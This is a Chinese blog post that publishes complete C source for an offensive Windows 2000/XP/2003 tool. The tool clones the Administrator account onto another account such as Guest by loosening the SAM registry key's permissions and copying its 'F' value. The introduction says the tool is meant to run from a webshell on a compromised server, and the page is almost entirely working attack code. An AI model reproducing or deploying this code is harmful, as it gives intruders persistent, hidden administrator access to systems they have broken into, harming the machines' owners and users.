支持2000和2003下完美进行任意用户克隆

1、深入了解 Windows Server 2003:功能、使用与支持全解析 本文深入解析了 Windows Server 2003 的功能、使用方法与支持信息,涵盖了版权许可、软件安装部署、用户界面、注册表操作、网络配置、Active Directory、用户账户与存储管理等多个方面。此外,还介绍了服务器的远程管理、Web 服务、灾难恢复等重要功能,为用户提供全面的 Windows Server 2003 学习与实践指南。 阅读详情
本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点
  WEBSHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SERV提权/反弹CMDSHELL
Copy code
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <aclapi.h>

char name[50][30];
int KeyN=0;
LPTSTR lpObjectName;
SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
PACL OldDACL,NewDACL;
PSECURITY_DESCRIPTOR SD;
EXPLICIT_ACCESS ea;
//OpenKey(),ViewUser(),ListUser()函数用到的变量

//显示用户名对应的安全标识符:
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);//列出用户名和类型值(用户SID)
int Clone (char *C_sid);//克隆帐户
void Usage (void);//帮助信息

//设置注册表的存取权限:
void new();
void old();

void main (int argc, char *argv[])
{
char C_Sid[10];
int n;
if(argc<2)
{Usage();
return;}

//提升注册表SAM键的权限:
new();

//如何使用命令行参数的方法:
for (n=1;n<argc;n++)
{
if (argv[n][0] == '-')
{
switch(argv[n][1])
{
case '?':
case 'h':
case 'H':Usage();
break;

case 'l':
case 'L':ListUser();
    old();
break;

case 'c':
case 'C':
if(argc<3)
{printf("Useage:%s -c 1F5/n",argv[0]);
old();
break;}
strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组
if (strlen(C_Sid)<=10)
Clone(C_Sid);
else
printf("Error/n");
//恢复注册表的权限:
old();

    break;

}
}
}
}


void OpenKey (char *key)
{
HKEY hkey;//注册表键值的句柄
DWORD dwIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;
//下面是字符数组清0:
ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
key, //传递一个参数,欲打开的注册表项
0, //未用,设为0即可
KEY_ALL_ACCESS, //描述新键值安全性的访问掩码
//它们的组合描述了允许对这个项进行哪些操作
&hkey);//装载上面打开项的句柄

for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
//T_name:用于装载指定索引处项名的一个缓冲区
//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
//一旦返回,它会设为实际装载到lpName缓冲区的字符数量
//NULL:未用,设为零
//NULL:项使用的类名
//NULL:用于装载lpClass缓冲区长度的一个变量
//&lpftlast:FILETIME,枚举子项上一次修改的时间

strcat(name[i],T_name);//将每个子键名加入到name[i]数组中

ZeroMemory(T_name,100);//清0
lpcbname=100;
}
//printf("subkey=%s/n",name[0]);//administrator
RegCloseKey(hkey); //关闭注册键

//拼接用户名:
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"/n/r");
}
}

int ViewUser (char *key)
{
HKEY hkey;
DWORD lpType=0,ret;
char S_name[10];


ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,//如://SAM//SAM//Domains//Account//Users//Names//administrator
0,
KEY_ALL_ACCESS,
&hkey);

if(ret==ERROR_SUCCESS)
    ;
else
return 0;

RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
//NULL:要获取值的名字
//NULL:未用,设为零
//&lpType:用于装载取回数据类型的一个变量
//NULL:用于装载指定值的一个缓冲区
//NULL:用于装载lpData缓冲区长度的一个变量

wsprintf(S_name,"%X/n/r",lpType);
printf("%s",S_name);

return 1;
}

int ListUser (void)
{
int n;
char Buffer[70]="SAM//SAM//Domains//Account//Users//Names//";
char Temp[40]={'/0'};

OpenKey("SAM//SAM//Domains//Account//Users//Names");

for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);//SAM//SAM//Domains//Account//Users//Names//administrator
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM//SAM//Domains//Account//Users//Names//");
}
return 1;
}

int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
//为注册表的F与V值分配空间:
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);
//清0:
ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);

strcpy(CloneSid,"SAM//SAM//Domains//Account//Users//00000");
strcat(CloneSid,C_sid);//如:SAM//SAM//Domains//Account//Users//000001F5

ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM//SAM//Domains//Account//Users//000001F4", //administrator的子键
0,
KEY_ALL_ACCESS,
&hkey);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出F值然后存入lpDataF中:
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出v值然后存入lpDataV中:
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//下面是打开需克隆用户如guest的键值:
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid, //如:SAM//SAM//Domains//Account//Users//000001F5
0,
KEY_ALL_ACCESS,
&C_hkey);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//将lpDataF中的值来替换需克隆用户的F值:
ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”:要设置值的名字
//0:未用,设为零
//REG_BINARY:要设置的数量类型
//lpDataF:包含数据的缓冲区中的第一个字节
//SizeF:lpData缓冲区的长度

if(ret==ERROR_SUCCESS)
printf("Clone User Success/n");
else
{
printf("Clone User FAIL/n");
return 0;
}
//关闭已打开的注册表句柄:
RegCloseKey(hkey);
RegCloseKey(C_hkey);

return 1;
}

void new()
{//下面是设置SAM键的权限为everyone:
    lpObjectName = "MACHINE//SAM//SAM";

    ObjectType =SE_REGISTRY_KEY;

    //建立一个空的ACL;
    if (SetEntriesInAcl(0, NULL, NULL, &

    OldDACL)!=ERROR_SUCCESS)
        return;

    if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
        return;

    //获取现有的ACL列表到OldDACL:
    if(GetNamedSecurityInfo(lpObjectName, ObjectType,
                          DACL_SECURITY_INFORMATION,
                          NULL, NULL,
                          &OldDACL,
                          NULL, &SD) != ERROR_SUCCESS)
          printf("指定的键不存在!/n");
// 本文转自 C++Builder 研究 - [url]http://www.ccrun.com/article.asp?i=563&d=tshoza[/url]
//设置用户名"Everyone"对指定的键有所有操作权到结构ea:
    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

    BuildExplicitAccessWithName(&ea,
                                "Everyone",      // name of trustee
                                KEY_ALL_ACCESS,    // type of access
                                SET_ACCESS,      // access mode
                                SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限

   
    //合并结构ea和OldDACL的权限列表到新的NewDACL:
    if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
          goto Cleanup;

    //把新的ACL写入到指定的键:
    SetNamedSecurityInfo(lpObjectName, ObjectType,
          DACL_SECURITY_INFORMATION,
          NULL, NULL,
          NewDACL,
          NULL);
//释放指针
    Cleanup:
    if(SD != NULL)
          LocalFree((HLOCAL) SD);
    if(NewDACL != NULL)
          LocalFree((HLOCAL) NewDACL);
    if(OldDACL != NULL)
          LocalFree((HLOCAL) OldDACL);
}

void old()
{
//恢复注册表的权限:

    BuildExplicitAccessWithName(&ea,
                                "system",      // name of trustee
                                KEY_ALL_ACCESS,    // type of access
                                SET_ACCESS,      // access mode
                                SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限

    if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
      goto Cleanup;

    //把旧的ACL写入到指定的键:
    SetNamedSecurityInfo(lpObjectName, ObjectType,
          DACL_SECURITY_INFORMATION,
          NULL, NULL,
          OldDACL,
          NULL);
    //释放指针
    Cleanup:
    if(SD != NULL)
          LocalFree((HLOCAL) SD);
    if(NewDACL != NULL)
          LocalFree((HLOCAL) NewDACL);
    if(OldDACL != NULL)
          LocalFree((HLOCAL) OldDACL);

}


//输出帮助的典型方法:
void Usage (void)
{
fprintf(stderr,"===============================================================================/n"
"/t名称:2003与2000下克隆任意用户程序/n"
"/t环境:Win2003 + Visual C++ 6.0/n"
"/t作者:[email]pt007@vip.sina.com[/email]/n"
"/tQQ:7491805/n"
"/t声明:本软件由pt007原创,转载请注明出处,谢谢!/n"
"/n"
"/t使用方法:/n"
"/t/"-H/":帮助信息/n"
"/t/"-L/":列出系统中用户对应的SID/n"
"/t/"-C 1F5/":克隆帐户,输入SID即可/n"
"/t 对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users/n"
"/t 对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users//Names/n"
"/n"
"/t注意事项:/n"
"/t由于SID的前5位都是/"0/",所以不必输入,直接输入最后三位/n"
"/t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆/n"
"===============================================================================/n");
} 
24、Windows Server 2003 部署与 TCP/IP 基础指南 本文详细介绍了 Windows Server 2003 的部署方法,包括 RIS 安装、磁盘克隆与 SID 问题处理,以及 Sysprep 工具的使用。同时涵盖了 TCP/IP 基础知识及其相关网络服务(如 DHCP、DNS、WINS 和 IIS)的配置步骤,帮助用户高效构建和管理企业内部网络环境。 阅读详情

相关推荐

多线程拷贝源码

实现多线程拷贝文件,利用pthread库,编译时输入gcc -lpthread run.c -o run

支持在2000和2003下完美进行用户克隆的C源码

原文:http://www.huaidan.org/blog/article.asp?id=1036鬼仔注:在cnfjhh那里看到的,说是2003下也可以完美克隆,不过我在2003下测试了下,并没有成功,禁用后就不可使用了,以前网上流传的2003下的克隆是重启后帐户就会自动变为启用状态。有测试成功的请告知下。文章末尾有编译好的。#include #include #include #inc

桂林哈秋 - 我想学编程 858

CIC-IDS数据集特征介绍

###1、简介 通信安全机构(CSE)与加拿大网络安全研究所(CIC)合作项目,该项目对自1998年以来现有的11个数据集的评估表明,大多数数据集(比如经典的KDDCUP99,NSLKDD等)已经过时且不可靠。其中一些数据集缺乏流量多样性和容量,一些数据集没有涵盖各种已知的攻击,而另一些数据集将数据包有效载荷数据匿名化,这不能反映当前的趋势。有些还缺少特征集和元数据。 CIC-IDS-2017数据集包含良性和最新的常见攻击,类似真实世界数据(PCAPs)。 它的数据采集截至2017...

蓝亚之舟的博客 3万+

克隆 Windows NT、Windows 2000 或 Windows XP 问题讨论

克隆 Windows NT、Windows 2000 或 Windows XP 计算机简介 要克隆使用 Windows NT、Windows 2000 或 Windows XP 操作系统的计算机,并且想了解需要进行哪些准备工作解释克隆 Windows NT、Windows 2000 或 Windows XP 时必须考虑以下问题: Ghost 版本:使用何种 Ghost 版本...

weixin_34055910的博客 381

STC8H单片机ADC实战:从读取电位器到串口绘图,12位精度玩起来

本文详细介绍了STC8H单片机的ADC功能实战应用,从读取电位器到串口绘图,展示了12位精度的实现方法。通过硬件连接、代码配置、串口数据传输及高级优化技巧,帮助开发者快速掌握ADC模块的使用,适用于各种传感器数据采集和信号处理场景。

weixin_28278377的博客 345

Windows 24H2升级后eNSP AR_40报错40?VirtualBox虚拟化修复指南

虚拟化技术通过Hypervisor在操作系统与硬件间建立抽象层,使虚拟机能够共享物理资源。其核心原理依赖CPU的VT-x/AMD-V指令集,而Windows 24H2对内核隔离与驱动签名的强化会直接占用或拦截这些虚拟化资源。在工程实践中,VirtualBox作为Type-2型Hypervisor,常因内存完整性开启或版本过旧导致虚拟网卡创建失败,进而引发设备启动中断。典型场景包括网络仿真实验、多系统测试环境搭建等。当eNSP的AR_40路由器依赖VirtualBox引擎时,24H2的安全策略变更便会触发错误

weixin_34375251的博客 218

Windows 2000 万能克隆版 V2.0

MD5:bde39ae3467fcee1118f954ae9d911252K_Ghost_V2.iso■系统说明:===========================·Windows2000SP4简体中文版的万能克隆,打了至2007年4月7日的所有安全补丁。·我的文档、收藏夹、桌面都位于D盘,免除重装系统时备份文件的顾虑。·...

weixin_33831196的博客 805

SAP HR模块配置假期日历和缺勤类型

SAP的HR模块。业务顾问在实施时一般会配置未来10年的假期日历,到期后再进行配置。同时,增加请假类型(缺勤信息类型)。记录这一过程。

福来阁86号技师的妖孽日常 5526

Windows下利用C++实现Git自动克隆项目

简而言之,就是使用C++调用CMD控制器,实现只要输入git地址和分支名,则自动克隆项目到本地的功能 代码如下: 头文件: #include "stdafx.h" using namespace std; class AutoGitPerform //@description: basic use cmd to auto git something to local { public:...

MusicMan 1679

SCS 43. 利用Scissor算法从单细胞数据中挖掘临床表型关联的细胞亚群

本文详细介绍了Scissor算法在单细胞转录组数据分析中的应用,该算法能够精准挖掘与临床表型关联的细胞亚群。通过建立单细胞RNA测序数据与临床预测模型的直接关联,Scissor避免了传统聚类方法的局限性,为疾病机制研究和个性化医疗提供了新工具。文章还涵盖了数据预处理、模型选择、结果验证等实战技巧。

weixin_28736335的博客 494

从零开始学习AI人工智能本体论:概念与实战

本文旨在为初学者提供一个全面而易于理解的人工智能本体论入门指南。我们将覆盖从基本概念到实际应用的全过程,帮助读者理解本体论在AI系统中的核心作用。核心概念与联系:介绍本体论的基本概念和原理核心算法与操作步骤:详细讲解本体构建和推理方法项目实战:通过实际案例展示本体论的应用实际应用场景:探讨本体论在不同领域的应用未来发展趋势:展望本体论在AI领域的前景本体论(Ontology): 在AI中,指对特定领域概念及其关系的明确形式化描述。

AI智能探索者的博客 869

设计模式:原型模式(C++)【克隆羊多莉】

原型模式介绍这节我们继续学习设计模式——原型模式。我们先看看原型模式的标准说法,用原型实例指定创建对象的种类并且通过拷贝这些原型创建新的对象。其实原型模式就是从一个对象再创建另外一个可定制的对象,而且不需要知道任何创建的细节而已。我们先看看C++和其他一些面向对象的编程语言的区别。在java、C# 或者一些其他的面向对象编程语言,他们所有的类都是都会继承或者间接继承Object类。比如说java中...

重庆李四 1862

Python爬虫实战:基于最新技术爬取国家企业信用信息公示系统数据

本文将详细介绍如何使用Python最新技术栈构建一个高效、稳定的国家企业信用信息公示系统爬虫。我们将从爬虫基础知识讲起,逐步深入到反爬机制应对、数据解析与存储等高级话题,最终实现一个完整的爬虫系统。文章包含大量实战代码示例,适合中高级Python开发者学习参考。网络爬虫(Web Crawler)是一种自动获取网页内容的程序,广泛应用于搜索引擎、数据分析和商业情报收集等领域。通用爬虫:如搜索引擎爬虫,广泛抓取互联网公开信息聚焦爬虫:针对特定领域或网站的数据采集增量式爬虫:只抓取更新内容,减少资源消耗。

2201_76125261的博客 2410

支持2000和2003下完美进行任意用户克隆 (转)

本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点 WEBSHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SER...

weixin_30265171的博客 78

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

第一个支持2000和2003下完美进行用户克隆的C源码(可在webshell里直接运行)

第一个支持2000和2003下完美进行用户克隆的C源码(可在webshell里直接运行)软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权信息来源:邪恶八进制信息安全团队([url=http://www.eviloctal.com/][color=#003366]www.eviloctal.com[/color][/url])   本程序是基于dahubaobao的源程序...

gui1401的专栏 204

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

支持XP/2k/2k3下完美进行任意用户克隆的C源码

软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权信息来源:邪恶八进制信息安全团队(www.eviloctal.com)    本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权 和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码

1714

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

嬴政完美 Windows2000/XP/2003 All in one 2009 贺岁版

广告不是吹的,实力不是盖的!且看完美者新年大作。嬴政和完美者新年礼物: Windows2000/XP/2003 All in one 2009 贺岁版光盘主要特点:◆无插件无流氓软件无OEM信息◆WMP10+DX9或WMP11+IE7+DX9可选方式安装◆集成含WGA、WU、Flash10控件以及MSXML补丁◆整合截至09年微软更新补丁,免去更新补丁的烦恼 ◆全部的源盘都是MSDN免...

weixin_33874713的博客 271

【亲测免费】 RPG制作大师2000/2003数据处理库:liblcf完全指南

RPG制作大师2000/2003数据处理库:liblcf完全指南 项目介绍 liblcf 是一款专为处理RPG Maker 2000和2003游戏数据设计的库。它能够读写LCF和XML文件格式,是EasyRPG项目的一部分。本库旨在支持这些经典游戏的数据操作,提供开发者和玩家一个强大的工具来编辑和分析游戏资源。它遵循MIT许可证,鼓励自由软件社区的贡献和使用。 项目快速启动 为了迅速启动并运行li...

gitblog_00867的博客 1198

FastLED 在 Teensy LC(MKL26Z64 / Cortex-M0+)平台上的支持架构与配置指南

本文以 [src/platforms/arm/teensy/teensy_lc/README.md](https://link.gitcode.com/i/a27c8f307f6641bea1e45e0bb51fcc0a) 为主线,结合该目录下的平台源码,系统讲解 FastLED 如何为 Teensy LC(MKL26Z64)提供 GPIO 引脚抽象、硬件 SPI 后端与无时钟(clockless

gitblog_00649的博客 652

Windows 2003安装全程图解

用纸张记录安装文件的产品密匙(安装序列号) 步骤/方法准备工作: 1.准备好Windows Server 2003 Standard Edition简体中文标准版版安装光盘 2.可能的情况下,在运行安装程序前用磁盘扫描程序扫描所有硬盘检查硬盘错误并进行修复,否则安装程序运行时如检查到有硬盘错误即会很麻烦 4.如果你未安装过Windows 2003系统,而现在正使用XP/2000系统,建议用

chenlinben的专栏 3258

5 分钟复活童年:用免费开源游戏引擎 EasyRPG Player 玩转 RPG Maker 2000/2003 老游戏

你硬盘的某个角落,大概率躺着一个叫"我的游戏"或"童年珍藏"的文件夹。里面是当年用 RPG Maker 2000 做出来的小游戏,在 Windows XP 上跑得飞快,如今双击那个 .exe,弹出来的却只有报错对话框。别急着格式化,也别急着买原版引擎的"复活服务"——有一个完全免费的开源游戏引擎,专门干这件事:**EasyRPG Player**,它能直接读取并运行 RPG Maker 2000、

gitblog_00550的博客 245

从零开始玩转 EasyRPG Player:让经典 RPG 游戏在任意设备上重生的开源引擎

EasyRPG Player 是一款完全免费、源代码开放的游戏引擎,专为运行由 RPG Maker 2000 与 RPG Maker 2003 制作的老式角色扮演游戏而生。无论你是想重温童年存档的怀旧玩家,还是想把旧项目迁移到现代设备的开发者,这篇入门指南都能带你完成从环境搭建到成功启动游戏的完整流程。 ## 一、先聊聊痛点:好游戏还在,能跑它的机器却没了 很多老玩家都有过类似的经历:硬盘里躺

gitblog_00959的博客 874

教你做Ghost系统盘--Windows2000、XP、2003系统万能Ghost全攻略New!!!!!!

来自Asp.net精英论坛:bbs.1aspx.com  一直以来,安装操作系统和应用软件是一件吃力不讨好的事情,虽然现在的电脑速度越来越快,并且操作系统安装步骤也很简单,但每次都是只能等系统慢慢地一步步完成,系统装完后,接着装应用软件,并具还要设置网络使用权限等,有时装个完整的系统几乎要一天,偶尔装装倒是无所谓,如果是电脑很多,或者是帮别人装电脑,那肯定是不行的,有时大

5232
上一篇: 让XP3389支持多人登陆
下一篇: 逆向分析并重组源码的过程
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值